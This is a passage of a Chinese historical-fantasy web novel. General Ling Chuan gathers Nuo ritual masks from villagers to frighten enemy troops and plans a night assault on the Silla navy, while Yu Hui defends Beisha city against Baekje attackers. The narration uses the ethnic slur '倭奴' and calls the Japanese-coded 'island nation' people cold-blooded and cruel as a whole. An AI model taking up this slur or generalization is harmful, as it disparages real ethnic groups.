只是此时的雪姬公主面容憔悴,衣衫沾满尘土,虽然眼神中依旧带着与生俱来的骄傲,却再也看不到当初那股盛气凌人的公主架子。 大和使团来时足足三百余人,如今只剩下二三十人,且大多带着伤,这恐怕是他们始料未及的。 护卫镜千泷依旧站在她身后,但考虑到她高强的武功和神出鬼没的忍术,她的手脚都戴着特制的镣铐,镣铐上还挂着铜铃,此时她正满脸杀意地瞪着凌川。 “你再这么瞪着我,信不信我把你眼珠子挖出来?”凌川冷声警告。 镜千泷冷哼一声,也不知是否听懂了凌川的话,但还是将目光移向别处。 雪姬公主转身对她说了几句,镜千泷这才不情愿地退了出去,脚镣上的铃铛随着她的步伐哗啦作响。 “公主殿下找我何事?”凌川自顾自坐下,语气平静。 雪姬公主也在凌川对面的位置坐下,直视着他的眼睛:“凌将军,大周这是铁了心要与我大和开战了吗?” 凌川淡淡一笑:“公主殿下何必多此一问?陛下封我为东征先锋,难不成是做样子给你们看的?” “那凌将军觉得,这一战你们有几成胜算?”雪姬公主微微扬起下巴,眼中带着审视的光芒追问道。 凌川闻言轻笑一声,随手把玩着桌上的茶杯,“公主殿下难道不觉得,现在谈论这个话题毫无意义?”他的语气中带着几分漫不经心,眼神却锐利如刀。 雪姬公主嘴角浮现出一抹得意的冷笑,纤细的手指在桌面上轻轻敲击:“凌将军是心里没底,觉得这一战会败吧?”她的目光紧紧锁住凌川,试图从他脸上找到一丝动摇。 凌川不慌不忙地端起茶杯抿了一口,饶有兴致地打量着对方:“我很好奇,你哪来的自信,觉得你们一定能胜?” “因为,近十年来,贵国的东海水师在与我大和水军的交战中,败多胜少,小胜大败!”雪姬刻意挺起胸膛,脸上写满得意之色,“如果我所料不差的话,现在我大和水军还未动一兵一卒,你们便已经疲于应付了吧!”她的语气中带着胜券在握的笃定。 见她如此信心满满,凌川眼中闪过一丝玩味,放下茶杯说道:“那不如我们打个赌如何?”他的手指轻轻敲击桌面,发出有节奏的声响。 “行啊!”雪姬眼中闪过好奇之色,身子微微前倾,“将军说说看,赌什么?”她的嘴角勾起一抹意味深长的笑意。 凌川目光深邃地注视着对方,缓缓说道:“如果这一战大周输了,这万里疆域势必沦为你们的战利品,我的赌注也就无足轻重了。可如果我们赢了……”他故意顿了顿,一字一句道,“我让你当大和第一女天皇!” 此言一出,雪姬瞳孔猛然收缩,握着茶杯的手不受控制地抽搐了一下。但她很快便恢复了常色,强作镇定地问道:“将军可曾清楚,你在说什么?”她的声音中带着一丝不易察觉的颤抖。 凌川淡然一笑,目光如炬地盯着她:“就问你敢不敢赌!” 雪姬深吸一口气,眼中闪过一丝决然:“行啊,我赌了!”她重重地点头,衣袖下的拳头却不自觉地握紧。 半个时辰后,船队继续起航。 那一支百人小队在此下船,将大和使团一行数十人押送到青州节度府。 按照行程,今晚便可抵达棣州,而棣州主将,正是安国公五位义子之一的廖沧横。 此前,凌川已经让蓝少堂派快船前往棣州传信,他们接下来将在棣州休整,再进行下一步动作。 第一卷 第545章 棣州主将,廖沧横! 刚抵达棣州码头,已有棣州军在此列队等候。 凌川刚下船,只见一名中年男子带着一众随从大步走来,此人身形魁梧、膀大腰圆、满脸络腮胡,走起路来虎虎生风。 尽管凌川不认识此人,但从他身上的蒲牢镇涛文山甲便可确定,他正是棣州主将廖沧横。 “末将廖沧横,见过镇北侯!”他来到凌川面前,双手抱拳,正要单膝下跪行礼,凌川却闪身上前将其扶住。 “廖将军不必多礼!”凌川稳稳托住他的手臂,“凌川深夜打扰已是心有愧疚!”他的语气诚恳,目光中带着敬意。 “侯爷客气了,这都是末将分内的事情!”廖沧横洪亮地回答道,声音中气十足。 “哈哈哈……”凌川拉过身边的张破虏,笑道:“廖将军,你看我把谁带来了!” “三叔!”张破虏兴奋地喊道。 廖沧横先是一愣,但很快就认了出来,眼神中闪现出溺爱之色:“小破虏,几年不见,都长这么大了!”他一拳轻轻砸在张破虏肩膀上,关切地问道:“老将军身体还好吗?” “爷爷身体好着呢!”张破虏咧嘴笑道,露出雪白的牙齿。 在一片谈笑声中,众人相继离开码头,朝着不远处的军营走去,廖沧横已经布置好了营帐和马厩,粮草等一应俱全。 “侯爷,末将已让人备好酒菜,给大家接风洗尘!”廖沧横热情地说道。 凌川拱手笑道:“有劳了,廖将军比我年长,叫我凌川就好!” “哈哈哈哈……”廖沧横爽朗大笑,拍了拍凌川的肩膀,“要说年纪,帝国所有将领中,怕是找不出比你年轻的了!”他的笑声在夜空中回荡,带着军人特有的豪迈。 凌川传令,让大家吃过饭之后抓紧时间休整。 而他则是带着蓝少堂、洛青云、苍蝇、张破虏几人,跟随廖沧横来到一座单独营帐。 几人边吃边聊,凌川也对东疆局势有了最新的了解。 据廖沧横说,如今新罗水师在莱州半岛频繁登陆,登州、莱州的百姓基本已经撤往青州,这也导致了新罗水师愈发猖獗,竟然直接在莱州半岛扎营,进一步朝着内陆劫掠。 “新罗水师有多少兵力,多少战舰?”凌川放下筷子,神色严肃地问道。 “据此前探到的情报,新罗水师兵力大约在一万余,一艘指挥舰,八艘主力舰,小型快船多达数百!”廖沧横详细介绍道,手指在桌面上比划着战舰的阵型。 见此情形,凌川脑海中生出一个计划,只是现在还不成熟,需要进一步推演。 “苍蝇,取地图来!” 苍蝇起身而去,很快,一幅崭新的地图在桌面上展开,凌川直接将目光锁定在莱州半岛,凝神细看片刻后,问道:“他们一般出动多少兵力劫掠,深入到什么地方?” “每次出动兵力在五六千的样子,兵分多路!如今随着两州百姓撤离,他们也越来越肆无忌惮,从最初深入百余里,到现在已经到三百多里了!”廖沧横指着地图上的几个位置回答道。 凌川微微颔首,手指无意识地敲击着桌面,对于这一点,他不难猜到,肯定是因为百姓撤离,他们没有东西可抢,只能越来越深入。 片刻之后,凌川抬起目光看向廖沧横,神色郑重:“廖将军,我有一事需要你帮忙!” “将军乃是陛下钦封的先锋将军,需要末将做什么,直接下令即可!”廖沧横抱拳回答道,声音铿锵有力。 凌川珍重说道:“请廖将军把你手下的斥候全部撒出去,务必要摸清他们劫掠的出兵路线和兵力,一旦发现他们出兵劫掠,第一时间把消息给我!” “末将遵命!”廖沧横朗声回应道,紧接着,他试探着问道:“凌将军是准备截断他们的退路,然后逐一灭之?” 凌川没有隐瞒,直接告知:“灭掉新罗这一万水军只是第一步,接下来,我要借用他们的战舰渡海前往卑沙城,将百济的兵力一并干掉!” 听到凌川的计划,廖沧横明显被吓一跳,瞪大了眼睛。 片刻之后,才缓过神来:“将军,此前末将已接到大将军的密令,必将全力配合您。只是林大将军那边的态度,似乎并不是很好……”他的语气中带着几分担忧。 “先不用理会林远图!”凌川冷声说道,眼中闪过一丝锐利,“战斗一旦开打,无论他愿不愿意都得配合,除非他想成为千古罪人!” 廖沧横点了点头,随即召来亲兵校尉,将命令传达了下去。 凌川也给苍蝇、洛青云和蓝少堂下令,让手下士兵尽快休整,然后抓紧时间操练阵型,以应对随时可能到来的战斗。 “我这边,还有一件私事想要麻烦廖将军!”凌川再次对廖沧横说道,语气缓和了许多。 “将军直接吩咐即可!”廖沧横爽快地回应。 “此次从神都过来,我娘子也在队伍中随行,接下来这段时间,我想把她留在棣州,还望廖将军照看一二!”凌川诚恳地说道。 “将军放心!”廖沧横拍着胸脯保证,“末将对苏将军仰慕有加,苏小姐既是苏将军的女儿,又是将军的夫人,末将定会全力守护!”他的回答干净利落,带着军人特有的真诚。 “有劳了!”凌川抱拳道谢。 当晚,他们便在这码头不远处的军营休整,而凌川被安排在一座老旧院子中落脚。 次日一早,凌川便将队伍召集起来,让苍蝇的亲兵队伍和洛青云的三百余骑兵带着他们操练。 虽说禁军皆是一等一的精锐,但凌川有自己的章法。 此次操练主要有两点,一是骑兵阵型,二是步兵的五行锥阵,奈何时间紧迫,只能是练个大概,远远达不到熟悉的地步。 而接下来这两日,凌川基本都在沙盘跟前一遍遍复盘,力求不出现任何纰漏。 这一战,关乎大周国运。 一旦战败,不仅是东疆失守,半壁江山都将化为地狱,无数百姓将惨死在大和倭奴的武士刀之下。 对于这个岛国民族的冷血与残暴,凌川比谁都清楚。 第一卷 第546章 傩戏 当日下午,苏璃找到凌川,让他陪自己去街上转转,凌川本想拒绝,可看到她满脸期待,加之接下来要分开很长一段时间,也就答应下来。 此处名为商河县,是个几万人的小县城,算不上繁华,但却有着独特的地方风情。 苏璃挽着凌川的手臂走在前面,翠花和大牛以及苍蝇紧跟在不远处。 一开始苍蝇并不觉得什么,可看到将军与将军夫人手挽着手,翠花与大牛也在眉来眼去,他顿时觉得浑身不自在。 “大牛,你俩能不能考虑下我的感受?”苍蝇板着一张脸说道,语气中带着明显的醋意。 此言一出,二人原本已经靠得很近的身体瞬间分开,苍蝇见状,顿时得意大笑,从二人中间一穿而过。 “相公,我知道你心系此战,但你一直把自己关起来,脑子会坏掉的!”苏璃抬起明媚的眼眸,温柔地劝道,“有时候,适当出来走走,反而有利于思考!” “我明白娘子的用心!”凌川轻叹一声,握紧了她的手,“只是我身为东征先锋,肩上的担子沉甸甸的,不敢辜负陛下的重托,更不敢辜负东疆万千百姓的信任!” 忽然,苏璃惊叫一声,满脸惊恐地抱着凌川的手臂,颤抖的手指着前方。 凌川下意识伸手将其挡在身后,抬眼看去,只见前方一群衣着怪异的人,用极其夸张的动作,手舞足蹈朝着这边走来。真正让苏璃惊恐的是,他们每个人脸上都戴着一张狰狞可怖的面具。 这些面具形态各异,有的青面獠牙,有的怒目圆瞪,有的嘴角咧到耳根,露出森白利齿。 每一张面具都雕刻得栩栩如生,再涂上各种鲜艳色彩,在阳光下泛着诡异的光芒。面具上的纹路精细繁复,仿佛蕴藏着某种古老的秘密。 后方,苍蝇、大牛三人见状,也迅速围了上来。 “不用紧张,这是傩戏!”凌川笑着解释道,目光却始终没有离开那些身影,心里的戒备也不曾收起。 “什么是傩戏?”苏璃不解地问道,声音中还带着些许颤抖。 “这是一种古老的祭祀舞蹈!”凌川娓娓道来,“当地人相信,通过这些狰狞恐怖的面具,能够与鬼神沟通。你看那赤色面具代表火神,青色象征风伯,金色则是雷公。每一个面具背后,都承载着一段古老的神话!” 他的目光追随着舞者的步伐,“这种仪式在这里已经传承了上千年,每逢重要节庆,当地人都会戴上面具,以舞蹈驱邪祈福,祈求风调雨顺、国泰民安!” 看着那些戴着面具,动作夸张,又唱又跳的人,饶是苍蝇几人,也带着几分畏惧。 主要是那面具太过于传神,无论是雕工的细节还是漆彩的搭配,都将这一张张面具刻画得活灵活现,仿佛真的有神灵附体一般。 苍蝇心有余悸地摸了摸后颈,小声嘀咕道:“大白天在街上看到都让人头皮发麻,这要是晚上看到,那不得把人吓死啊!” 这句话,让凌川剑眉微微一挑,脑海中顿时生出一个念头。 几人虽有些害怕,但还是驻足看起了傩戏,舞者们时而腾空跃起,时而俯身旋转,宽大的衣袖在风中翻飞,配着古老的吟唱声,营造出一种神秘而庄严的氛围。 就在此时,凌川注意到不远处一名老者同样看得津津有味,他虽穿着普通布衣,但举手投足间的气质,却与普通百姓格格不入。 凌川主动走了上去,抱拳问道:“老人家,这傩面,哪里能买到?” 老者转过目光看了凌川一眼,笑道:“呵呵……你们一看就是外乡人吧?买这个做什么?”他的眼神中带着审视,却又透着几分慈祥。 凌川知道,这些东西乃是当地人的信仰,他没有说是买一个玩玩之类的话,而是一本正经地说道:“实不相瞒,晚辈祖籍便是这棣州,祖辈前往神都为官,之后便极少回乡。但从小便听长辈提及家乡的傩戏,此次回乡祭祖,便想带一个回去给家中长辈,以解其思乡之苦!” 老者闻言,眼神中闪过一抹狡黠,笑道:“侯爷这故事编得真是精彩,老朽都险些信了!” 凌川神色顿时一变,惊讶地问道:“老人家怎么看出来的?” 只见老者对着凌川拱手行了一礼,恭敬地说道:“商河县令朱景福,见过镇北侯,见过夫人!” 凌川顿时哑然,没想到,这个其貌不扬、穿着普通的老者,竟然是这个县的县令。 县令朱景福笑着解释道:“数日前,下官便得知神都有援军到来,虽不敢多问领军之人是何人,但近两日县城之中出现不少北境口音之人采购物资,再联想到前不久才到的封侯布告,便不难猜测了!”他的语气中带着几分得意,却又恰到好处。 被当面拆穿,凌川不由得有些尴尬,解释道:“我听闻这傩面被当地百姓奉为神明,故此才编了个借口,并非有意欺瞒,还望朱大人见谅!” 县令连连摆手,爽朗笑道:“侯爷言重了!只是下官好奇,您要这傩面有何用?”他的目光中带着真诚的询问。 凌川倒也没隐瞒,直言道:“不瞒朱大人,我刚刚见这傩面青面獠牙、怒目狰狞,不由得想到,要是咱们的将士戴上这傩面上战场,那岂不是还没开打,便能把敌人吓个半死?” 朱县令听后,连连点头道:“侯爷这想法果然新奇!下官虽从未上过战场,但也觉得此事可行。只是……” 他面露难色,“这傩面乃是当地百姓的图腾信仰,每个面具都由傩舞世家的老师傅亲手绘制。特别是那些传承数代的老面具,更是被视为神灵化身。此举怕是……” 凌川点了点头,理解地说道:“是我思虑不周!” 闲聊一番后,彼此告别,凌川带着苏璃在县城中转了一会,返回住所的时候,已经是天黑。 他找来洛青云,问道:“这几日操练得如何了?” “回将军,大家都异常用功,效果比之前预想的要好不少!”洛青云恭敬地回禀,“五行锥阵已经初见雏形,至于骑兵阵型,禁军基础本就很不错,两日训练下来,已经达标了!” 听到这个答案,凌川也放下心来,点头道:“辛苦了!” 第一卷 第547章 收集傩面 次日一早,凌川正在晨练,忽然,院外传来一片嘈杂声,不多时,王麻子快步跑来。 “将军,外面来了好多百姓,领头的老者自称是本县县令!” 凌川闻言,眉头微微一挑,收起长枪,说道:“走,出去看看!” 来到院门外,只见朱县令带着数十名老者,蹚着晨露赶来。 每个人推着一个竹制板车,里面装满了各式各样的傩面,多者上百,少则也有几十。那些面具在晨曦中泛着诡异的光泽,仿佛有生命般注视着来人。 “参见镇北侯!”见到凌川出来,朱县令躬身行礼,他身后的百姓则是齐齐下跪。 “大家快快请起!”凌川伸手虚扶,连忙说道。 “侯爷,下官昨晚连夜找到附近的里正,讲明缘由,大家听说将军要傩面来震慑敌人后,都纷纷同意!”朱县令激动地说道,额上还带着汗珠,“这是大家挨家挨户收集的傩面,但仓促间也只收集了这么多,各处正在紧急收集中!” 凌川闻言,顿时喜出望外,连连拱手道:“诸位深明大义,凌川先行谢过了!”他的目光扫过那些形态各异的面具,心中涌起一阵暖流。 “侯爷,我们一直用这傩面祈求神灵护佑!”一名白发苍苍的老里正颤巍巍地说道,手中紧紧握着一面赤色獠牙面具,“现如今,外贼猖獗,正是神明显灵的时候。相信将士们戴上这傩面,定能得到神灵相助!”他的眼中闪烁着虔诚的光芒。 “对,有神灵相助,侯爷一定能大破敌军,斩杀贼子!”另一名中年汉子也大声说道,用力拍了拍车上的面具,发出沉闷的响声。 凌川连连点头,内心更是无比激动。这些平头老百姓,在外敌入侵的关头,依旧表现出深厚的家国情怀,实在难得。 或许,正是无数人内心的这份信仰与坚守,才让中原民族历经无数磨难却依旧源远流长的原因之一。 “侯爷,这些傩面您先收着,乡亲们正在全县收集,今天会陆续送来!”县令朱景福抹了把汗说道。 “有劳朱大人,替我谢过乡亲们!”凌川再度抱拳,声音中带着真挚的感激。 当日,便有百姓陆续送来傩面,有的是新做不久的,上面的漆彩还异常鲜艳,朱砂如血,光彩夺目;有的明显已经有些年代了,透着斑驳之感,但这种陈旧却平添了几分神秘与恐怖。一些面具的边缘已经被摩挲得光滑,显然经历过无数次的佩戴和供奉。 凌川让沈珏带人清点了一下,竟然有四五千个,这些面具形态各异,有的怒目圆睁,有的咧嘴狞笑,有的甚至有多只眼睛,在阳光下泛着诡异的光芒。 凌川立马让他们将这些傩面搬到军营进行分发,每个人挑选自己合适的傩面。 刚看到这些傩面的时候,很多士兵也心生恐惧,那不仅是对这些狰狞面具的恐惧,还有对于鬼神的敬畏。一些士兵甚至不敢直接用手去碰触,生怕亵渎了神灵。 大牛将所有傩面挑了个遍都没能找到合适自己的,急得满头大汗。让一旁的凌川哭笑不得,苍蝇更是调侃道:“大牛,你这是大海边照镜子,脸大不自知啊!” “哈哈哈哈……”此言一出,引得现场士兵捧腹大笑,紧张的气氛顿时缓和了许多。 而就在此时,朱县令带人送来了最后一批傩面。 “侯爷,这是最后一批了!”县令朱景福气喘吁吁地说道,他这个年纪,连连奔波已是疲惫不堪,“乡亲们将戴在傩神像脸上的都给请来了!”他的声音中带着自豪,也带着一丝不舍。 凌川大为感动,郑重地说道:“有劳朱大人了,这些就够了!” 而大牛却一个箭步冲了上来,眼睛直勾勾地盯着一位老人抱在手中那个硕大傩面。 相比起那些普通的傩面,这副面具要大了整整一圈,几乎有普通人的两个脸那么大,显然这便是朱县令口中从傩神像上请来的那副傩面。 而且,这块傩面无论是整体构造还是雕工细节乃至漆彩搭配,都更加传神。面具通体呈暗红色,仿佛被鲜血浸染过,额头处雕刻着一只竖眼,瞳孔用黑曜石镶嵌,在阳光下泛着诡异的光芒,嘴角咧到耳根,露出森白獠牙,更显凶恶与恐怖。 “将军,俺要这个,这个适合俺!”大牛迫不及待地拿过那名老者抱在怀里的硕大傩面,直接戴在了脸上。 霎时间,大牛周身气势陡然一变。 那股平日的憨厚之气消失不见,取而代之的是令人胆寒的恐怖与肃杀,特别是配合他那魁梧的体型,让在场之人都感受到了一股强烈的压迫感,面具上的竖眼仿佛活了过来,冷冷地注视着众人。 “杀……” 只听大牛暴喝一声,那本就粗犷的声音,在面具遮挡下变得嗡里嗡气,但却更加雄浑,在军营上空久久不散。这一刻,他仿佛真的化身为来自幽冥的鬼神,令人生畏。 入夜时分,廖沧横步履匆匆地赶到凌川住处,脸上写满急迫。 “凌将军,新罗水师出动了!”他声音急促,眼中弥漫着紧张之色。 听到这话,凌川眼中锐光乍现,连忙追问:“他们出动了多少人,兵分几路?” “对方出动六千余人,兵分五路,每路一千多人,从莱州半岛的临时驻军地出发,前往内陆劫掠!”廖沧横快步走到沙盘前,手指在沙盘上划出几道清晰的路线,“您看,他们主要沿着这五条路线推进,至少需深入内陆两百多里!” 凌川凝神细看沙盘,随即对门外高声喝道:“苍蝇,传所有校尉及以上的将领过来议事!” “是!”门外传来苍蝇干脆利落的应答,随即响起一阵远去的急促脚步声。 不过片刻功夫,包括蓝少堂在内的十多名将领先后到来,一个个神色肃穆,眼神坚毅。 凌川也不多言,直接将众人引到沙盘前,示意廖沧横将新罗水师的行军路线重述一遍。 第一卷 第548章 点将出征 待廖沧横讲解完毕,凌川立即接过话题,目光扫过在场每一位将领:“时间紧迫,废话我就不多说了,所有人接到命令之后,只有一炷香的时间准备,一炷香之后开始行动!” “将军,兄弟们早就等不及了,下令吧!”蓝少堂沉声说道,双手不自觉地握成拳头,眼神中燃烧着昂扬的战意。 “蓝少堂听令!”凌川声音陡然提高。 “末将在!”蓝少堂猛地踏前一步,抱拳行礼,甲胄随之发出铿锵之声。 “我命你带兵连夜赶到莱州半岛,在敌军返回驻军点途中设伏,”凌川的手指在沙盘上划出一道弧线,“务必将这六千余敌军全部截杀在归途中!” “末将领命!”蓝少堂的声音斩钉截铁,眼中闪过必胜的决心。 紧接着,凌川将目光转向廖沧横:“廖将军!” “末将在!”廖沧横快步来到场中,抱拳待命。 “我需要你分派一些熟悉地形的士兵配合蓝将军行动。此外,再派人给节度府送一封信,将咱们的行动计划告诉他们。” “末将遵命!”廖沧横眼神闪烁,略显担忧地问道:“将军,青州军主将彭辽乃是林远图近些年扶植的亲信,若是他们不配合出兵……” 凌川嘴角勾起一抹冷峻的弧度,无所谓地说道:“他爱来不来,区区六千人头,还不够咱们禁军弟兄们分呢!” 这轻描淡写的一句话,顿时让帐中紧张的气氛缓和了不少。众将领相视而笑,蓝少堂更是感受到凌川对他全然的信任,胸中涌起一股暖流。 事实上,对蓝少堂而言,若是在海上交战,六千对一万想要取胜。怎么也得付出一定代价,但放在陆地上,就算是兵力相当,禁军也能不费吹灰之力将这六千敌人全歼。 “苍蝇、洛青云听令!”凌川继续点将。 “属下在!”二人并肩出列,异口同声地应道,目光灼灼地望向凌川。 “你们随我一起,直捣黄龙,将留守在驻军地的五千余新罗水军干掉!”凌川的手指重重落在莱州半岛最东边敌军大营的位置,“此战不仅要全歼敌人,更要夺下他们的所有战舰!” “明白!”二人朗声应答,声音中充满昂扬斗志。 然而廖沧横与蓝少堂却同时神色一变,不约而同地开口劝阻:“将军,您只带这七百余人去?” 凌川淡然一笑,从容解释道:“若是陆地作战,这七百人足够了!但对方极有可能在战舰之上,为了保险起见,还得跟廖将军借两千水军!” “哈哈,将军放心,早就准备好了!”廖沧横这才松了口气,爽朗笑道。 “好了,大家都去准备吧!连夜行动!”凌川挥手下令,目光坚毅。 命令一下,整座军营顿时行动起来,士兵们匆忙却不慌乱地整理兵甲战马,一股无形的肃杀之气弥漫开来。 从棣州商河县赶到莱州半岛有将近两百里路程,根据以往敌人的劫掠行程来看,他们明日日落前就会返程。这意味着蓝少堂必须在明日中午前赶到预定地点完成埋伏。 凌川回到临时住所,苏璃已经为他准备好了战刀铠甲。 “相公,你以往没有接触过水战,千万要小心!”苏璃一边为他披甲,一边轻声叮嘱,双手灵巧为他系紧甲胄的卡扣。 “娘子放心吧!”凌川握住她冰凉的手,温声安慰道,“我此前在兵书上可看过不少关于水战的战例。更何况,新罗水军这种二流军队,实力稀疏平常,根本不足为虑!” “话虽如此,但相公还是要谨慎为上!”苏璃细致地为他整理掩膊,声音轻柔却坚定,“父亲说过,轻敌冒进乃是兵家大忌,相公切不可小觑对手!” “娘子放心,我心里有数的!”凌川轻轻搂住苏璃,柔声道:“我已经给廖将军说了,你们随他去棣州城等我。我这次离开可能会久一些,但你别担心,我会保护好自己!” “嗯嗯!”苏璃将脸埋在他胸前,轻声应着,声音中满含不舍。 凌川又转向侍立一旁的翠花,故作严肃地说道:“翠花,你可要保护好夫人,要是我回来发现夫人饿瘦了,你口粮减半!” 翠花连忙点头如捣蒜,胖乎乎的脸上写满认真:“将军放心,奴婢一定寸步不离夫人左右!” 戌时整,队伍已整装待发。 除了一万禁军之外,还有廖沧横手下的两千水师精锐,凌川下令所有士兵轻装上阵,只携带三日口粮。 “凌将军,一切小心,末将在棣州等你们凯旋!”廖沧横抱拳道。 凌川点头回应:“廖将军,内子就劳烦你了!” “将军放心!”廖沧横郑重承诺,随即走到凌川身后的张破虏面前,帮他整了整铠甲,说道:“上了战场,千万不可莽撞,一切听从凌将军的命令!” “我知道了,三叔!”张破虏挺直腰板,眼中闪烁着兴奋与紧张交织的光芒。 “出发!”凌川沉声喝道,声音在夜空中回荡。 一万三千大军如离弦之箭,撞破沉沉夜色。马蹄声撕裂寂静,铠甲在月光下泛着冷冽寒光,宛如凶兽露出的獠牙,队伍如一条长龙,向着东方疾驰而去。 …… 与此同时,远在辽东半岛的卑沙城,一场惨烈的守城战正在上演。 百济国的一万先锋军于昨日抵达卑沙城外,今日拂晓便发起了猛攻,城墙上下,敌军如蚁群,喊杀震天。 卑沙城守将于廻屹立在城楼之上,坚毅的面容被战火熏得漆黑。 他紧握刀柄,指节因用力而发白,目光凝重地注视着城外如潮水般涌来的敌军。 卑沙城仅有两千守军,尽管于廻已经提前做足了守城准备,但面对敌人源源不断的进攻,这座孤城就像惊涛骇浪中的一叶扁舟,随时都可能被吞没。 这还只是敌人的第二次进攻,卑沙城便已经摇摇欲坠。城墙多处出现破损,守军伤亡惨重。照这个态势发展下去,若是敌人持续强攻,他们连今晚都熬不过去。 第一卷 第549章 死守卑沙城 “都尉大人,快想想办法吧!”一名校尉踉跄着跑到于廻跟前,铠甲上沾满血迹,脸上写满焦急,“敌人的进攻太猛了,照这样下去,咱们坚持不了多久的!” 于廻面容刚毅如铁,双眸中却闪过浓浓的凝重。他深吸一口气,声音洪亮而坚定:“告诉兄弟们,镇北侯已经从北疆派兵来援,咱们只需坚守到天亮,援军便可抵达!” 他环视四周疲惫不堪的守军,提高声调:“只要守到天亮,咱们就是大周的英雄!若是在天亮之前丢了城,咱们所有人都是帝国的罪人!” 事实上,只有于廻自己心里清楚,就算守到天亮,北疆的援军多半也到不了。他之所以这么说,不过是想给浴血奋战的士兵们一线希望,激发他们最后的斗志。 当半月前,他送往东疆的求援信只得到‘无援死守’这四个字的回复时,他便明白,自己和手下这两千兄弟注定没有退路,只能与卑沙城共存亡。 他深知东疆水师现在的处境,面对陈兵济州岛、随时可能发起总攻的十万大和水军,东疆水师根本无法分兵支援。 舍弃卑沙城,从战略上来说确实在情理之中。 “战死沙场、马革裹尸,本就是边军的归宿!”于廻望着城外密密麻麻的敌军,在心中默念。 他们就算战至最后一兵一卒,也决不能让敌人轻松踏入大周领土,于廻早已下定决心,要用自己的鲜血宣誓大周领土的主权,用自己的身躯为帝国筑起最后一道城墙。 哪怕明知必死,他于廻也不能辱没大周边军的威名,更不能辜负张老将军当年的知遇之恩。 于廻原本只是一个吃不上饭的穷小子,当年走投无路才投军。 他至今还记得那个饥寒交迫的冬夜,是军营里的一碗热粥救了他的命。 那时将军对他说‘只要杀敌立功就有饭吃!’从那以后,每逢战斗他都异常卖力,仿佛要将积攒了十几年的力气全都使出来。 后来,将军语重心长地告诉他:“个人勇猛就算再出众,充其量也只能当个标长率领百人。想要当一个校尉乃至一个将军,不仅需要个人勇武,更重要的是智慧与谋略,否则,就算当了将军,也只会让手下士兵白白送命!” 这是这番话,让他立志要当一名将领,从那以后,他一有空就开始读书,时常向将军请教排兵布阵和作战策略。 那位将军比他年长几岁,可无论是经学要义还是兵法策略无一不通,对他更是知无不言,极具耐心,后来,将军更是亲自提拔他当了校尉。 对于廻而言,那位将军便是他生命中的贵人,可好景不长,十年前的盛夏,大和水军突然袭击,战火席卷整个东疆海域。 将军率领他们迎战大和水军,那一战杀得海水赤红、千帆尽覆,最终,因寡不敌众险些全军覆没,将军也在那一战中壮烈殉国。 之后,他才知道,那位叫张翰霆的将军,竟然是东疆主帅张泊远的独子。 此后,张帅心灰意冷,挂印卸甲。新任主帅接管东疆水师之后,念及他的战功,提拔为都尉,但却将他派到这偏远的卑沙城,但手下不过两千人。 他心里明白,这是新任主帅排除异己的手段,但也没有说什么,默默来到卑沙城,一待就是十年。 “将军,于廻始终牢记您的教诲!”他望着城外不断涌来的敌军,声音低沉而坚定,“战死沙场,对于边军而言,是最好的归属,也是最高的荣誉!” 城外,震天喊杀声此起彼伏,百济大军如潮水一般涌来,月光下,敌军铠甲反射着冰冷的光芒,如同海中一眼望不到头的鱼群,缓缓向城墙逼近。 百济军并不擅长攻城战,除了云梯之外,也再无其它攻城器械。 但卑沙城只是一座小城,既谈不上险峻,城墙也不坚固,敌人借助云梯很快便能爬上城墙,守军的压力与日俱增。 卑沙城的守军杀退了一波又一波的敌人,城墙根脚堆满了尸体。 浓重的血腥味在夜风中弥漫,令人作呕,但敌人仿佛杀之不尽,一个个挥舞着兵器往城墙上冲,发出野兽般的嘶吼。 百济不过是一个区区小国,在以往的数百年里,都是中原王朝的附属国,他们的大部分文明也都取自中原,然而他们并未因此而心生感恩。 特别是近几十年大周势衰,他们便迅速脱离大周掌控,之后更是迅速转头投靠大和帝国,调转锋芒,将矛头指向大周,妄图帮助大和打下大周,从而分到一杯羹。 事实上,就算百济穷举国之力,也充其量凑齐十万兵力,而且,无论是兵甲还是战力,都远远无法与大周相提并论,根本不足以对大周构成威胁。 这一次,百济甘愿充当大和的马前卒,足足派出三万大军,想要叩开辽东半岛的大门,从而让大周东北角失守。 于廻站在城楼上,望着远处连绵的敌营,眉头紧锁,他心里比谁都清楚这卑沙城的重要性,此地不仅是北疆的咽喉要塞,更是东疆的后院门户,一旦失守,北疆与东疆都将陷入被动局面。 所以,他哪怕明知不敌,也要死守。 “哪怕多拖延片刻也是好的!”他喃喃自语,“说不定北疆的援军真的及时赶到了呢?” 念及至此,他无奈苦笑一声,摇了摇头,自己在胡思乱想什么,北疆的援军根本不可能这么快赶到。 “杀……” 一声暴吼打断了于廻的沉思,只见不远处,一队百济士兵冲上了城墙,正在朝着这边杀来,为首的是一个满脸横肉的百济军官,挥舞着弯刀,凶神恶煞地扑来。 “唰……” 于廻眉头一挑,眼神中闪过浓烈杀机,迅速拔出腰间战刀,直接迎了上去,战刀在月光下划出一道寒光,带着凌厉的破空声。 “死!” 于廻一声大喝,直接一刀劈出,与那名百济军官对拼一刀,随即刀锋一转,一道寒芒精准地划过对方的咽喉,鲜血顿时喷涌而出。 紧接着,他抬手一刀将另一人的胸甲刺穿,刀尖从后背透出,带出一蓬血雾。 随即,他猛然一脚踹在那人的胸口,顺势拔出战刀,只见那名百济士兵胸口淌血,身体更是连连倒退,将后方的同伴撞倒。 可手持战刀的于廻却趁机杀了上来,手起刀落,将这两名敌人斩杀,他的动作干净利落,一招一式都是这些年在厮杀中养成的习惯。 第一卷 第550章 但愿朝阳常照我土 半个时辰之后,敌人终于被打退,他第一时间召来两名校尉,沉声问道:“战损情况如何?” 一名校尉抹了把脸上的血污,声音沙哑地回禀:“两千余士兵已战死六百余人,还有三百多人重伤,其余的大部分都带有轻伤!” 于廻脸色凝重到了极点,又问道:“箭矢火油还剩多少?” “弓箭手人均不足三十支箭!”另一名肩膀受伤的校尉一边接受军医的包扎,一边回答道,“火油只能用一次了!” 于廻点了点头,目光扫过城墙上横七竖八躺着的伤员,强压下心头的沉重,说道:“告诉兄弟们,尽快处理伤势,然后尽可能地恢复防御工事!” “大人,好几处城墙都严重破损,短时间内根本没办法恢复!”那名受伤的校尉喘着粗气回禀。 于廻转过目光看向他,眼神锐利如刀,沉声说道:“就算用尸体堆,也要把缺口堵住!” “是!”校尉挺直腰板,咬牙应道。 于廻目光灼灼,看着城外那成片的亮光,继续说道:“如果不出意外,天亮之前,敌人会发起最猛烈的进攻,势必要攻破这卑沙城!” 他顿了顿,声音变得更加低沉,“告诉兄弟们,下一轮直接把火油撒到城墙下,将那些尸体全部点燃!” 两名校尉对视一眼,都从对方眼中看到了决然,他们重重地点头,知道这是最后的挣扎了。 